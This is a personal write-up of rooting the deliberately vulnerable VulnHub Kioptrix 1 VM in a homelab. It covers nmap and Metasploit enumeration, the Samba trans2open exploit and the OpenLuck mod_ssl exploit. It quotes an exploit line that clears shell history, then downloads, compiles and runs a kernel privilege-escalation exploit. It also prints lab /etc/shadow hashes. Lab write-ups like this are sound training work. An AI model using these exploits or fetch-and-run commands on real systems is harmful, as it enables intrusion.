Writeup for the first entry in the VulnHub Kioptrix series.
I have recently installed Proxmox in the mini PC I bought to use as a homelab. The main reason I wanted a mini PC was to run VMs from VulnHub to get more experience with VMs, pentesting, self-hosting, etc.
In this writeup, I will go over how I obtained root (twice!) in Kioptrix 1, the first of a series of vulnerable machines hosted in VulnHub.
Installation
I had no idea what I was doing here since this Kioptrix machine is quite old (2010; 16 years ago!). Here is the article I used that saved me and helped me getting Kioptrix 1 up and running: https://benheater.com/proxmox-running-kioptrix-level-1/
In my personal setup, I have a DHCP server running on Kali for eth2 (not sure if it was really necessary for this machine…). The Kioptrix machine is isolated to the eth2 network bridge, which I believe was the intended setup for this challenge. This will be relevant later during my exploitation process.
Enumeration
First, we need to find the IP address of the machine.
Here are two valid methods to find the IP address. During my initial enumeration, I used arpscan. Note that my IP address in eth2 is 10.0.1.5.
Now, let’s look deeper into 10.0.1.100 with nmap.
I ran a more aggresive scan against these ports, but I didn’t really find anything more useful about the services themselves. The command I used was nmap 10.0.1.100 -A -O -p 22,80,111,139,443,32768 -oA scan1. I found that the OS version was Running: Linux 2.4.X / OS details: Linux 2.4.9 - 2.4.18 (likely embedded), which demonstrates that the machine appears to be outdated and could be vulnerable to old exploits. Additionally, I scanned for all ports using -p-, but no other ports were open. The only useful thing for now are the versions of the services running.
Method 1: Samba Exploitation
Inside the nmap scans, there is no visible version for the Samba service running on port 139. Let’s look deeper into it with Metasploit. (source: https://medium.com/@mertbaykal/finding-smb-version-metasploit-5516b4a44a3f)
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.1.100
RHOSTS => 10.0.1.100
msf auxiliary(scanner/smb/smb_version) > run
[*] 10.0.1.100:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 10.0.1.100 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedGreat! We know that our Samba version is Unix (Samba 2.2.1a)! Let’s research some exploits inside Metasploit.
msf auxiliary(scanner/smb/smb_version) > search samba 2.2
...
2 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86)Let’s use the trans2open exploit.
That’s odd… Let’s try changing to a more generic payload:
We have root!
Method 2: Apache/OpenSSL Exploitation
There is another way of obtaining root without msfconsole.
Our nmap scans mention another service running on port 443:
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Let’s research an exploit to use here.
I tried compiling the code myself and I failed. This exploit is ancient (2003; 23 years old!!) and it is outdated. I looked up an updated version and I found this: https://github.com/heltonWernik/OpenLuck. I simply followed the instructions to set it up on my machine.
The correct command is ./OpenFuck 0x6b 10.0.1.100 443 -c 50.
Great! We have user access! However, it seems that the exploit chain wasn’t completed?
“the Kioptrix machine is isolated to the eth2 network bridge”
Our machine is isolated from the Internet (or Interwebs…) and cannot reach pastebin.com for the next part of the exploit chain. I looked deeper into the source code for the exploit and found these lines of code:
#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
// #define COMMAND2 "unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://pastebin.com/raw/C7v25Xr9 -O ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"With my shell as apache, I tried running COMMAND1, which fails and doesn’t allow for a cleaner shell with TTY (bash: no job control in this shell). Going over COMMAND2, I realized that wget could be executed by the apache user, the problem was getting the file from pastebin.com!. I needed to get the file from my Kali machine, since it is the only connection it has to the outside world.
First, I need to download the file from pastebin.com on my local machine:
Let’s transfer this file with an HTTP server.
Great! Now, let’s execute all the bash commands in COMMAND2 manually.
We have root!
Other Findings
cat /etc/shadow reveals hashes for root and other two users. I tried cracking them with rockyou.txt but I was unlucky.
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::Original hostname:
hostname
kioptrix.level1It seems the machine is keeping logs of my actions… Here’s the logs for my failed RPC enumeration (I found nothing so I didn’t mention it).
Commands ran by root before me:
cat /root/.bash_history
ls
mail
mail
clear
echo "ls" > .bash_history && poweroff
nano /etc/issue
pico /etc/issue
pico /etc/issue
ls
clear
ls /home/
exit
ifconfig
poweroff
mail
Mail version 8.1 6/6/93. Type ? for help.
"/var/mail/root": 2 messages 1 new 2 unreadIf this was a regular CTF challenge, the flag would be here. I believe this counts as the flag.
The /etc/issue file contains the message shown in the login screen when we start the Kioptrix machine.
I can change it with my own file (wget http://10.0.1.50:8080/new_msg.txt and mv new_msg.txt /etc/issue) to display my own message : ) .
※ This is the end of this writeup. Hope I can continue writing about this series of VMs!